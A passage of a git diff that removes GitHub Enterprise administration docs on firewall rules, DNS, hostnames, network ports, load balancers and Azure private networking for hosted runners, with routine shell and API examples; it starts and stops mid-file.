variables.contact.contact_ent_support %} and contact us to reconfigure the original firewall rules. Restoring the original firewall rules involves downtime for your server. - -1. Configure a custom firewall rule. -1. Check the status of each new rule with the `status numbered` command. - - ```shell - sudo ufw status numbered - ``` - -1. To back up your custom firewall rules, use the `cp`command to move the rules to a new file. - - ```shell - sudo cp -r /etc/ufw ~/ufw.backup - ``` - -After you upgrade {% data variables.location.product_location %}, you must reapply your custom firewall rules. We recommend that you create a script to reapply your firewall custom rules. - -## Restoring the default firewall rules - -If something goes wrong after you change the firewall rules, you can reset the rules from your original backup. - -> [!WARNING] -> If you didn't back up the original rules before making changes to the firewall, visit {% data variables.contact.contact_ent_support %} and contact us for further assistance. - -{% data reusables.enterprise_installation.ssh-into-instance %} - -1. To restore the previous backup rules, copy them back to the firewall with the `cp` command. - - ```shell - sudo cp -f ~/ufw.backup/*rules /etc/ufw - ``` - -1. Restart the firewall with the `systemctl` command. - - ```shell - sudo systemctl restart ufw - ``` - -1. Confirm that the rules are back to their defaults with the `ufw status` command. - - ```shell - $ sudo ufw status - > Status: active - > To Action From - > -- ------ ---- - > ghe-1194 ALLOW Anywhere - > ghe-122 ALLOW Anywhere - > ghe-161 ALLOW Anywhere - > ghe-22 ALLOW Anywhere - > ghe-25 ALLOW Anywhere - > ghe-443 ALLOW Anywhere - > ghe-80 ALLOW Anywhere - > ghe-8080 ALLOW Anywhere - > ghe-8443 ALLOW Anywhere - > ghe-9418 ALLOW Anywhere - > ghe-1194 (v6) ALLOW Anywhere (v6) - > ghe-122 (v6) ALLOW Anywhere (v6) - > ghe-161 (v6) ALLOW Anywhere (v6) - > ghe-22 (v6) ALLOW Anywhere (v6) - > ghe-25 (v6) ALLOW Anywhere (v6) - > ghe-443 (v6) ALLOW Anywhere (v6) - > ghe-80 (v6) ALLOW Anywhere (v6) - > ghe-8080 (v6) ALLOW Anywhere (v6) - > ghe-8443 (v6) ALLOW Anywhere (v6) - > ghe-9418 (v6) ALLOW Anywhere (v6) - ``` diff --git a/content/admin/configuring-settings/configuring-network-settings/configuring-dns-nameservers.md b/content/admin/configuring-settings/configuring-network-settings/configuring-dns-nameservers.md deleted file mode 100644 index 92dae0af39fa..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/configuring-dns-nameservers.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Configuring DNS nameservers -intro: '{% data variables.product.prodname_ghe_server %} uses the dynamic host configuration protocol (DHCP) for DNS settings when DHCP leases provide nameservers. If nameservers are not provided by a dynamic host configuration protocol (DHCP) lease, or if you need to use specific DNS settings, you can specify the nameservers manually.' -redirect_from: - - /enterprise/admin/guides/installation/about-dns-nameservers - - /enterprise/admin/installation/configuring-dns-nameservers - - /enterprise/admin/configuration/configuring-dns-nameservers - - /admin/configuration/configuring-dns-nameservers - - /admin/configuration/configuring-network-settings/configuring-dns-nameservers -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Networking -shortTitle: Configure DNS servers ---- -The nameservers you specify must resolve {% data variables.location.product_location %}'s hostname. - -{% data reusables.enterprise_installation.changing-hostname-not-supported %} - -## Configuring nameservers using the virtual machine console - -{% data reusables.enterprise_installation.open-vm-console-start %} -1. Configure nameservers for your instance. -{% data reusables.enterprise_installation.vm-console-done %} - -## Configuring nameservers using the administrative shell - -{% data reusables.enterprise_installation.ssh-into-instance %} - -1. To edit your nameservers, use the `ghe-setup-network` command in visual mode. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-setup-network). - - ```shell - ghe-setup-network -v - ``` - -1. To add your new nameserver entries to {% data variables.location.product_location %}, run the following: - - ```shell - sudo service resolvconf restart - sudo service dnsmasq restart - ``` diff --git a/content/admin/configuring-settings/configuring-network-settings/configuring-the-hostname-for-your-instance.md b/content/admin/configuring-settings/configuring-network-settings/configuring-the-hostname-for-your-instance.md deleted file mode 100644 index 93ca535ecee7..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/configuring-the-hostname-for-your-instance.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Configuring the hostname for your instance -shortTitle: Configure hostname -intro: 'You can provide reliable access to {% data variables.location.product_location %} by assigning a hostname that''s accessible over your network.' -redirect_from: - - /enterprise/admin/guides/installation/configuring-hostnames - - /enterprise/admin/installation/configuring-a-hostname - - /enterprise/admin/configuration/configuring-a-hostname - - /admin/configuration/configuring-a-hostname - - /admin/configuration/configuring-network-settings/configuring-a-hostname - - /admin/configuration/configuring-network-settings/configuring-the-hostname-for-your-instance -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure ---- - -## About the hostname for {% data variables.product.prodname_ghe_server %} - -To provide reliable access to {% data variables.location.product_location %} via a known name on the network, you can configure a hostname. If you configure a hostname instead of using a hard-coded IP address, you will be able to change the physical hardware that {% data variables.location.product_location %} runs on without affecting users or client software. - -The hostname setting in the {% data variables.enterprise.management_console %} should be set to an appropriate fully qualified domain name (FQDN) which is resolvable on the internet or within your internal network. For example, your hostname setting could be `github.companyname.com.` Web and API requests will automatically redirect to the hostname configured in the {% data variables.enterprise.management_console %}. Note that `localhost` is not a valid hostname setting. - -Hostnames must be less than 63 characters in length per [Section 2.3.4 of the Domain Names Specification RFC](https://datatracker.ietf.org/doc/html/rfc1035#section-2.3.4). - -After you configure a hostname, you can enable subdomain isolation to further increase the security of {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation). - -{% data variables.product.company_short %} strongly recommends that you do not change the hostname for an existing {% data variables.product.prodname_ghe_server %} instance. Changing the hostname will cause unexpected behavior, up to and including instance outages. Instead, configure a new instance with the desired hostname, and then restore settings and data from the original instance to the new instance. - -For more information on the supported hostname types, see [Section 2.1 of the HTTP RFC](https://tools.ietf.org/html/rfc1123#section-2). - -## Configuring the hostname - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.hostname-menu-item %} -1. Under "Hostname", type the hostname you'd like to set for {% data variables.location.product_location %}. -1. To test the DNS and SSL settings for the new hostname, click **Test domain settings**. -{% data reusables.enterprise_management_console.test-domain-settings-failure %} -{% data reusables.enterprise_management_console.save-settings %} - -To help mitigate various cross-site scripting vulnerabilities, we recommend that you enable subdomain isolation for {% data variables.location.product_location %} after you configure a hostname. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation). - -## Changing the hostname - -If you need to change the hostname for {% data variables.location.product_location %}, you must restore a backup of your existing instance to a new instance with the desired hostname. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/changing-the-hostname-for-your-instance). - -{% data reusables.enterprise_installation.changing-hostname-not-supported %} diff --git a/content/admin/configuring-settings/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md b/content/admin/configuring-settings/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md deleted file mode 100644 index 83c28aea29c1..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Configuring the IP address using the virtual machine console -intro: 'By default, {% data variables.product.prodname_ghe_server %} retrieves network settings via the dynamic host configuration protocol (DHCP). If your platform supports it, or if DHCP is unavailable, you can also configure the network settings using the virtual machine console.' -redirect_from: - - /enterprise/admin/installation/configuring-the-ip-address-using-the-virtual-machine-console - - /enterprise/admin/configuration/configuring-the-ip-address-using-the-virtual-machine-console - - /admin/configuration/configuring-the-ip-address-using-the-virtual-machine-console - - /admin/configuration/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Networking -shortTitle: Set the IP using the console ---- - -> [!NOTE] -> We do not support adding additional network adapters to {% data variables.product.prodname_ghe_server %}. - -{% data reusables.enterprise_installation.open-vm-console-start %} -1. Choose to configure the `IPv4` or `IPv6` protocol. -1. Configure options for the protocol you chose. -{% data reusables.enterprise_installation.vm-console-done %} diff --git a/content/admin/configuring-settings/configuring-network-settings/configuring-time-synchronization.md b/content/admin/configuring-settings/configuring-network-settings/configuring-time-synchronization.md deleted file mode 100644 index 33cc6ff35767..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/configuring-time-synchronization.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Configuring time synchronization -intro: '{% data variables.product.prodname_ghe_server %} automatically synchronizes its clock by connecting to NTP servers. You can set the NTP servers that are used to synchronize the clock, or you can use the default NTP servers.' -redirect_from: - - /enterprise/admin/articles/adjusting-the-clock - - /enterprise/admin/articles/configuring-time-zone-and-ntp-settings - - /enterprise/admin/articles/setting-ntp-servers - - /enterprise/admin/categories/time - - /enterprise/admin/installation/configuring-time-synchronization - - /enterprise/admin/configuration/configuring-time-synchronization - - /admin/configuration/configuring-time-synchronization - - /admin/configuration/configuring-your-enterprise/configuring-time-synchronization - - /admin/configuration/configuring-network-settings/configuring-time-synchronization -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Networking -shortTitle: Configure time settings ---- -## Changing the default NTP servers - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. In the "Settings" sidebar, click **Time**. -1. Under "Primary NTP server," type the hostname of the primary NTP server. -1. Under "Secondary NTP server," type the hostname of the secondary NTP server. -1. Under the "Settings" sidebar, click **Save settings**. -1. Wait for the configuration run to complete. - -## Correcting a large time drift - -The NTP protocol continuously corrects small time synchronization discrepancies. You can use the administrative shell to synchronize time immediately. - -> [!NOTE] -> * You can't modify the Coordinated Universal Time (UTC) zone. -> * You should prevent your hypervisor from trying to set the virtual machine's clock. For more information, see the documentation provided by the virtualization provider. - -* Use the `chronyc` command to synchronize the server with the configured NTP server. For example: - -```shell -sudo chronyc -a makestep -``` diff --git a/content/admin/configuring-settings/configuring-network-settings/index.md b/content/admin/configuring-settings/configuring-network-settings/index.md deleted file mode 100644 index a8aef9ad4ca9..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Configuring network settings -redirect_from: - - /enterprise/admin/guides/installation/dns-hostname-subdomain-isolation-and-ssl - - /enterprise/admin/articles/about-dns-ssl-and-subdomain-settings - - /enterprise/admin/articles/configuring-dns-ssl-and-subdomain-settings - - /enterprise/admin/guides/installation/configuring-your-github-enterprise-network-settings - - /enterprise/admin/installation/configuring-your-github-enterprise-server-network-settings - - /enterprise/admin/configuration/configuring-network-settings - - /admin/configuration/configuring-network-settings -intro: 'Configure {% data variables.product.prodname_ghe_server %} with the DNS nameservers and hostname required in your network. You can also configure a proxy server or firewall rules. You must allow access to certain ports for administrative and user purposes.' -versions: - ghes: '*' -topics: - - Enterprise -children: - - /configuring-the-ip-address-using-the-virtual-machine-console - - /configuring-dns-nameservers - - /configuring-the-hostname-for-your-instance - - /changing-the-hostname-for-your-instance - - /validating-your-domain-settings - - /configuring-an-outbound-web-proxy-server - - /configuring-built-in-firewall-rules - - /network-ports - - /using-github-enterprise-server-with-a-load-balancer - - /configuring-time-synchronization -shortTitle: Configure network settings ---- - diff --git a/content/admin/configuring-settings/configuring-network-settings/network-ports.md b/content/admin/configuring-settings/configuring-network-settings/network-ports.md deleted file mode 100644 index b394e26e0975..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/network-ports.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Network ports -redirect_from: - - /enterprise/admin/articles/configuring-firewalls - - /enterprise/admin/articles/firewall - - /enterprise/admin/guides/installation/network-configuration - - /enterprise/admin/guides/installation/network-ports-to-open - - /enterprise/admin/installation/network-ports - - /enterprise/admin/configuration/network-ports - - /admin/configuration/network-ports - - /admin/configuration/configuring-network-settings/network-ports -intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.' -versions: - ghes: '*' -type: reference -topics: - - Enterprise - - Infrastructure - - Networking - - Security ---- -## Administrative ports - -Some administrative ports are required to configure {% data variables.location.product_location %} and run certain features. Administrative ports are not required for basic application use by end users. - -| Port | Service | Description | -|---|---|---| -| 8443 | HTTPS | Secure web-based {% data variables.enterprise.management_console %}. Required for basic installation and configuration. | -| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless TLS is disabled manually. | -| 122 | SSH | Shell access for {% data variables.location.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. | -| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.| -| 123/UDP| NTP | Required for time protocol operation. | -| 161/UDP | SNMP | Required for network monitoring protocol operation. | -| 9103/TCP | HTTP | Required for future support of Prometheus scraping. | - -## Application ports for end users - -Application ports provide web application and Git access for end users. - -| Port | Service | Description | -|---|---|---| -| 443 | HTTPS | Access to the web application and Git over HTTPS. | -| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port if TLS is configured. | -| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. | -| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} | - -{% data reusables.enterprise_installation.terminating-tls %} - -## Email ports - -Email ports must be accessible directly or via relay for inbound email support for end users. - -| Port | Service | Description | -|---|---|---| -| 25 | SMTP | Support for SMTP with encryption (STARTTLS). | - -## {% data variables.product.prodname_actions %} ports - -{% data variables.product.prodname_actions %} ports must be accessible for self-hosted runners to connect to {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#communication-between-self-hosted-runners-and-github-enterprise-server). - -| Port | Service | Description | -|---|---|---| -| 443 | HTTPS | Self-hosted runners connect to {% data variables.location.product_location %} to receive job assignments and to download new versions of the runner application. Required if TLS is configured. -| 80 | HTTP | Self-hosted runners connect to {% data variables.location.product_location %} to receive job assignments and to download new versions of the runner application. Required if TLS is not configured. - -If you enable automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, {% data variables.product.prodname_actions %} will always search for an action on {% data variables.location.product_location %} first, via these ports, before checking {% data variables.product.prodname_dotcom_the_website %}. For more information, see [AUTOTITLE](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#about-resolution-for-actions-using-github-connect). - -## {% data variables.product.prodname_github_connect %} ports - -If you enable {% data variables.product.prodname_github_connect %}, the connection between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_dotcom_the_website %} uses HTTPS over ports 443 or 80, and TLS is required. For more information, see [AUTOTITLE](/admin/configuration/configuring-github-connect/about-github-connect). - -## Further reading - -* [AUTOTITLE](/admin/configuration/configuring-network-settings/configuring-tls) diff --git a/content/admin/configuring-settings/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md b/content/admin/configuring-settings/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md deleted file mode 100644 index 4908ba870374..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Using GitHub Enterprise Server with a load balancer -intro: 'Use a load balancer in front of a single {% data variables.product.prodname_ghe_server %} instance or a pair of instances in a High Availability configuration.' -redirect_from: - - /enterprise/admin/guides/installation/using-github-enterprise-with-a-load-balancer - - /enterprise/admin/installation/using-github-enterprise-server-with-a-load-balancer - - /enterprise/admin/configuration/using-github-enterprise-server-with-a-load-balancer - - /admin/configuration/using-github-enterprise-server-with-a-load-balancer - - /admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - High availability - - Infrastructure - - Networking -shortTitle: Use a load balancer ---- - -## About load balancers - -{% data reusables.enterprise_clustering.load_balancer_intro %} - -{% data reusables.enterprise_clustering.load_balancer_dns %} - -## Handling client connection information - -Because client connections to {% data variables.product.prodname_ghe_server %} come from the load balancer, the client IP address can be lost. - -{% data reusables.enterprise_clustering.proxy_preference %} - -{% data reusables.enterprise_clustering.proxy_xff_firewall_warning %} - -{% data reusables.enterprise_installation.terminating-tls %} - -### Enabling PROXY protocol support on {% data variables.location.product_location %} - -We strongly recommend enabling PROXY protocol support for both your instance and the load balancer. Use the instructions provided by your vendor to enable the PROXY protocol on your load balancer. For more information, see [the PROXY protocol documentation](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt). - -{% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -1. Under "External load balancers", select **Enable support for PROXY protocol**. -{% data reusables.enterprise_management_console.save-settings %} - -{% data reusables.enterprise_clustering.proxy_protocol_ports %} - -### Enabling X-Forwarded-For support on {% data variables.location.product_location %} - -{% data reusables.enterprise_clustering.x-forwarded-for %} - -> [!WARNING] -> If you configure `X-Forwarded-For` support on {% data variables.location.product_location %} and load balancer, you may not be able to connect to the {% data variables.enterprise.management_console %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer#error-your-session-has-expired-for-connections-to-the-management-console). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -1. Under **External load balancers**, select **Allow HTTP X-Forwarded-For header**. -{% data reusables.enterprise_management_console.save-settings %} - -{% data reusables.enterprise_clustering.without_proxy_protocol_ports %} - -## Configuring health checks - -Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If the instance is offline due to maintenance or unexpected failure, the load balancer can display a status page. In a High Availability (HA) configuration, a load balancer can be used as part of a failover strategy. However, automatic failover of HA pairs is not supported. You must manually promote the replica instance before it will begin serving requests. For more information, see [AUTOTITLE](/admin/enterprise-management/configuring-high-availability). - -{% data reusables.enterprise_clustering.health_checks %} -{% data reusables.enterprise_site_admin_settings.maintenance-mode-status %} - -## Troubleshooting connectivity through a load balancer - -If you cannot connect to services on {% data variables.location.product_location %} through a load balancer, you can review the following information to troubleshoot the problem. - -> [!NOTE] -> Always test changes to your network infrastructure and instance configuration in a staging environment. For more information, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance). - -### Error: "Your session has expired" for connections to the {% data variables.enterprise.management_console %} - -If you enable support for the `X-Forwarded-For` header on your instance and load balancer, you may not be able to access your instance's {% data variables.enterprise.management_console %}. For more information about the {% data variables.enterprise.management_console %} and ports required for connections, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console) and [AUTOTITLE](/admin/configuration/configuring-network-settings/network-ports). - -If {% data variables.location.product_location %} indicates that your session has expired when you connect to the {% data variables.enterprise.management_console %} through a load balancer, try one of the following configurations on your load balancer. - -* Disable `X-Forwarded-For` headers for connections to your instance on ports 8080 and 8443. -* Configure your load balancer to operate on Layer 4, and use the PROXY protocol instead of `X-Forwarded-For` for passthrough of client IP addresses. For more information, see [Enabling PROXY protocol support on {% data variables.location.product_location %}](#enabling-proxy-protocol-support-on-your-github-enterprise-server-instance). - -For more information, refer to the documentation for your load balancer. - -### Live updates to issues and check runs not working - -When {% data variables.location.product_location %} is accessed via a load balancer or reverse proxy, expected live updates, such as new comments on issues and changes in notification badges or check run output, may not display until the page is refreshed. This is most common when the reverse proxy or load balancer is running in a layer 7 mode or does not support the required [websocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) protocol. - -To enable live updates, you may need to reconfigure the load balancer or proxy. For more information, refer to the documentation for your load balancer. diff --git a/content/admin/configuring-settings/configuring-network-settings/validating-your-domain-settings.md b/content/admin/configuring-settings/configuring-network-settings/validating-your-domain-settings.md deleted file mode 100644 index aebd86ca0135..000000000000 --- a/content/admin/configuring-settings/configuring-network-settings/validating-your-domain-settings.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Validating your domain settings -intro: 'Ensure that your domain settings are properly configured before booting up {% data variables.location.product_location %} for the first time.' -redirect_from: - - /enterprise/admin/installation/validating-your-domain-settings - - /enterprise/admin/configuration/validating-your-domain-settings - - /admin/configuration/validating-your-domain-settings - - /admin/configuration/configuring-network-settings/validating-your-domain-settings -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Networking -shortTitle: Validate domain settings ---- -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.hostname-menu-item %} -1. To test your appliance's DNS and SSL settings, under "Hostname", click **Test domain settings**. -{% data reusables.enterprise_management_console.test-domain-settings-failure %} -{% data reusables.enterprise_management_console.save-settings %} diff --git a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise.md b/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise.md deleted file mode 100644 index b2eb98dc1852..000000000000 --- a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: About Azure private networking for GitHub-hosted runners in your enterprise -shortTitle: About Azure private networking -intro: 'You can create a private network configuration for your enterprise to use {% data variables.product.company_short %}-hosted runners in your Azure Virtual Network(s) (VNET).' -versions: - ghec: '*' -type: overview -topics: - - Actions - - Action development - - Azure Virtual Network - - Administrator - - Developer - - CI - - CD - - Enterprise -permissions: 'Enterprise owners can create private network configurations at the enterprise level to use {% data variables.product.company_short %}-hosted runners with an Azure VNET.' -redirect_from: - - /actions/using-github-hosted-runners/connecting-to-a-private-network/about-using-github-hosted-runners-in-your-azure-virtual-network - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/about-using-github-hosted-runners-in-your-azure-virtual-network - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise ---- - -## About Azure private networking for {% data variables.product.company_short %}-hosted runners - -{% data reusables.actions.azure-vnet-network-configuration-intro %} - -{% data reusables.actions.azure-vnet-intro-capabilities %} - -## About using larger runners with Azure VNET - -{% data reusables.actions.azure-vnet-about-larger-runners %} - -## About network communication - -{% data reusables.actions.azure-vnet-network-communication %} - -## About supported regions - -{% data reusables.actions.azure-vnet-supported-regions %} - -## About the {% data variables.product.prodname_actions %} service permissions - -{% data reusables.actions.azure-vnet-actions-service-permissions %} - -## Using your VNET's network policies - -{% data reusables.actions.azure-vnet-networking-policies %} - -## Managing network configuration policies for organizations in your enterprise - -You can give organization owners in your enterprise the ability to set up and maintain organization-level network configurations for {% data variables.product.company_short %}-hosted runners. - -For more information, see [AUTOTITLE](/admin/configuration/configuring-private-networking-for-hosted-compute-products/configuring-private-networking-for-github-hosted-runners-in-your-enterprise#enabling-creation-of-network-configurations-for-organizations). - -## Using {% data variables.product.company_short %}-hosted runners with an Azure VNET - -{% data reusables.actions.azure-vnet-next-steps-links %} diff --git a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/about-networking-for-hosted-compute-products-in-your-enterprise.md b/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/about-networking-for-hosted-compute-products-in-your-enterprise.md deleted file mode 100644 index 05ed78451150..000000000000 --- a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/about-networking-for-hosted-compute-products-in-your-enterprise.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: About networking for hosted compute products in your enterprise -shortTitle: About hosted compute networking -intro: 'You can manage private networking for {% data variables.product.company_short %}-hosted products using network configurations.' -permissions: Enterprise owners can configure private networking for hosted compute products at the enterprise level. -versions: - ghec: '*' -type: overview -topics: - - Actions - - Action development - - Administrator - - Developer - - CI - - CD - - Enterprise -redirect_from: - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/about-networking-for-hosted-compute-products - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/about-networking-for-hosted-compute-products-in-your-enterprise ---- - -## About network configurations - -{% data reusables.actions.about-network-configurations %} - -## About Azure private networking for {% data variables.product.prodname_dotcom %}-hosted runners - -{% data reusables.actions.azure-vnet-network-configuration-intro %} - -For more information about using {% data variables.product.company_short %}-hosted runners with an Azure VNET, see [AUTOTITLE](/admin/configuration/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise). - -{% data reusables.actions.azure-vnet-next-steps-links %} diff --git a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/configuring-private-networking-for-github-hosted-runners-in-your-enterprise.md b/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/configuring-private-networking-for-github-hosted-runners-in-your-enterprise.md deleted file mode 100644 index b0a137d12003..000000000000 --- a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/configuring-private-networking-for-github-hosted-runners-in-your-enterprise.md +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Configuring private networking for GitHub-hosted runners in your enterprise -shortTitle: Configuring private networking -intro: 'Learn how to use {% data variables.product.company_short %}-hosted runners with an Azure private network.' -versions: - ghec: '*' -type: how_to -permissions: Enterprise owners can configure private networking for GitHub-hosted runners at the enterprise level. -topics: - - Actions - - Action development - - Azure Virtual Network - - Administrator - - Developer - - CI - - CD - - Enterprise -redirect_from: - - /actions/using-github-hosted-runners/connecting-to-a-private-network/configuring-an-azure-virtual-network-for-your-enterprise - - /actions/using-github-hosted-runners/connecting-to-a-private-network/configuring-azure-resources-for-private-networking-with-github-hosted-runners - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/configuring-azure-resources-for-private-networking-with-github-hosted-runners - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/creating-a-network-configuration-with-an-azure-private-network - - /actions/using-github-hosted-runners/connecting-to-a-private-network/configuring-your-github-settings-for-use-with-azure-virtual-network - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/configuring-private-networking-for-github-hosted-runners - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/configuring-private-networking-for-github-hosted-runners-in-your-enterprise ---- - -## About Azure private networking for {% data variables.product.company_short %}-hosted runners - -{% data reusables.actions.azure-vnet-configuring-overview %} - -## Configuring your Azure resources - -{% data reusables.actions.azure-vnet-procedures-prereqs %} - -### 1. Obtain the `databaseId` for your enterprise - -You can use the following GraphQL query to retrieve your enterprise `databaseId`. You will use the enterprise `databaseId` for the value of the `DATABASE_ID` environment variable in the next step. For more information on working with GraphQL, see [AUTOTITLE](/graphql/guides/forming-calls-with-graphql). - -{% data reusables.enterprise_migrations.retrieve-enterprise-id-graphql %} - -```graphql -query( - $slug: String! -){ - enterprise (slug: $slug) - { - slug - databaseId - } -} -' -Variables -{ - "slug": "ENTERPRISE_SLUG" -} -``` - -#### Example for {% data variables.product.prodname_dotcom_the_website %} - -You can use the following curl command to find your `databaseId`. - -```shell copy -curl -H "Authorization: Bearer BEARER_TOKEN" -X POST \ - -d '{ "query": "query($slug: String!) { enterprise (slug: $slug) { slug databaseId } }" , - "variables": { - "slug": "ENTERPRISE_SLUG" - } - }' \ -https://api.github.com/graphql -``` - -#### Example for {% data variables.enterprise.data_residency_site %} - -You can use the following {% data variables.product.prodname_cli %} commands to retrieve the `databaseId`. Replace SUBDOMAIN with your enterprise's subdomain of {% data variables.enterprise.data_residency_site %}. - - ```shell copy - gh auth login -s 'read:enterprise' -h SUBDOMAIN.ghe.com - - gh api graphql --hostname SUBDOMAIN.ghe.com -f query='query($slug: String!) { enterprise (slug: $slug) { slug databaseId } }' -f slug='SUBDOMAIN' - ``` - -{% data reusables.actions.azure-vnet-configure-azure-resources-script %} - -## Creating a network configuration for your enterprise in {% data variables.product.company_short %} - -{% data reusables.actions.azure-vnet-creating-network-configuration-prereqs %} - -### 1. Add a new network configuration for your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. In the left sidebar, click **Hosted compute networking**. -1. Click the **New network configuration** dropdown. Then click **Azure private network**. -1. Name your network configuration. -1. Click **Add Azure Virtual Network**. -1. In the popup window, enter the network settings resource ID you retrieved when you configured your Azure resources for private networking. -1. Click **Add Azure Virtual Network**. - -### 2. Create a runner group for your enterprise - -> [!NOTE] -> For the runner group to be accessible by repositories within your organizations, those repositories must have access to that runner group at the organization level. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/controlling-access-to-larger-runners#changing-which-repositories-can-access-a-runner-group). - -1. Create a new runner group for your enterprise. For more information about how to create a runner group, see [AUTOTITLE](/actions/using-github-hosted-runners/controlling-access-to-larger-runners#creating-a-runner-group-for-an-enterprise). -{% data reusables.actions.workflows.runner-groups-enterprise-organization-access %} -1. While configuring your runner group, under "Network configurations," use the dropdown menu to select the network configuration you created for the Azure VNET. -1. To create the group and apply the policy, click **Create group**. - -### 3. Add the {% data variables.product.company_short %}-hosted runner to the enterprise runner group - -> [!NOTE] -> When adding your {% data variables.product.company_short %}-hosted runner to a runner group, select the runner group you created in the previous procedures. - -1. Add the {% data variables.product.company_short %}-hosted runner to the runner group. For more information, see [AUTOTITLE](/enterprise-cloud@latest/actions/using-github-hosted-runners/managing-larger-runners#adding-a-larger-runner-to-an-enterprise). - -### 4. Optionally, manage network configurations - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. In the left sidebar, click **Hosted compute networking**. -1. To edit a network configuration, to the right of the network configuration, click 